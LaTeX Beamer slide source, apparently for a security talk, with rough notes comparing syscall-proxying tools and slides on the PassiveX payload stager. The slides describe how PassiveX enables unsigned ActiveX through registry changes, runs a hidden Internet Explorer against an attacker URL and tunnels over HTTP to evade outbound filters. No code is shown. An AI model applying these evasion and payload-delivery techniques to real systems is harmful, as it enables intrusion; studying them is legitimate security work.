for anything beyond that, you have to upgrade your agent, and then I don't
believe those are using syscall proxying type things anymore. I think some
of them bundle python interpreters...
+ how it works
+ really cool, and simple
+ no need to write vicitim-side code for any calls you want to make
+ inefficent for some types of things (port scanning)
- CANVAS
- mosdef
- model is very similar to dN
- you have to write a client and server component
- build environment not seperated, have you write your client side component
in wanna-be-aitel c, and have you have it in a python script.
- he has an API to do some stuff, but mostly low level stuff, and nothing
high level and cool.
- like all of his stuff, it's very rough and primitive seeming. I'm sure,
just like spike, you can do some cool stuff with it, but it's like building
a car with a rock, or something...
+ Code is dirty....
+
\section{PassiveX}
\subsection{Overview}
\begin{frame}[t]
\frametitle{PassiveX}
\begin{sitemize}
\item Robust payload stager capable of bypassing restrictive
outbound filters
\item Compatible with Windows 2000+ running Internet
Explorer 6.0+
\item Uses HTTP to communicate with attacker
\item Provides an alternate vector for library injection via
ActiveX
\item Detailed write-up can be found in reference materials
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{How PassiveX works}
\begin{sitemize}
\item Enables support for both signed and unsigned ActiveX
controls in the \texttt{Internet} zone.
\begin{sitemize}
\pause
\item Necessary because administrators may have disabled
ActiveX support for security reasons
\end{sitemize}
\pause
\item Launches a hidden instance of Internet Explorer
\pause
\item Internet Explorer loads a page that the attacker
has put an embedded ActiveX control on
\pause
\item Internet Explorer loads and executes the ActiveX
control
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why is PassiveX useful?}
\begin{sitemize}
\item Relatively small (roughly 400 byte) stager that does not
directly interact with the network
\pause
\item Bypasses common outbound filters by tunneling through
HTTP
\pause
\item Automatically uses proxy settings defined in Internet
Explorer
\pause
\item Bypasses trusted application restrictions (ZoneAlarm)
\pause
\item ActiveX technology allows the attacker to implement
complex code in higher level languages (C, C++, VB)
\begin{sitemize}
\item Eliminates the need to perform complicated tasks
from assembly
\item ActiveX controls are functionally equivalent to
executables
\end{sitemize}
\end{sitemize}
\end{frame}
\subsection{Implementation}
\begin{frame}[t]
\frametitle{Implementing the PassiveX stager}
\begin{sitemize}
\item Enable download and execution of ActiveX controls
\begin{sitemize}
\item Open the current user's \texttt{Internet} zone
registry key
\item Enable four settings
\begin{sitemize}
\item \texttt{Download signed ActiveX controls}
\item \texttt{Download unsigned ActiveX controls}
\item \texttt{Run ActiveX controls and plugins}
\item \texttt{Initialize and script ActiveX controls not
marked as safe}
\end{sitemize}
\end{sitemize}
\pause
\item Launch a hidden instance of Internet Explorer pointed
at a URL the attacker controls
\pause
\item Internet Explorer then loads and executes the attacker's
ActiveX control
\end{sitemize}
\end{frame}
\subsection{Example ActiveX: HTTP Tunneling Control}
\begin{frame}[t]
\frametitle{An example ActiveX control}
\begin{sitemize}
\item ActiveX controls may choose to build an HTTP tunnel
to the attacker
\item HTTP tunnels provide a streaming connection over HTTP
requests and responses
\item Useful for tunneling other protocols, like TCP,
through HTTP
% TODO: elaborate?
\end{sitemize}
\end{frame}
\subsection{Pros \& Cons}
\begin{frame}[t]
\frametitle{Pros \& cons}
\begin{sitemize}
\item \textbf{Pros}
\begin{sitemize}
\item Bypasses restrictive outbound filters at both a
network and application level
\pause
\item Provides a method for using complex code written
in a high-level language
\end{sitemize}
\pause
\item \textbf{Cons}
\begin{sitemize}
\item Does not work when run as a non-privileged user
\begin{sitemize}
\item Internet Explorer refuses to download ActiveX
controls
\end{sitemize}
\pause
\item Requires the ActiveX control to restore
\texttt{Internet} zone settings
\begin{sitemize}
\item May leave the machine vulnerable to compromise
if not done
\end{sitemize}
\end{sitemize}
\end{sitemize}
\end{frame}
\end{comment}
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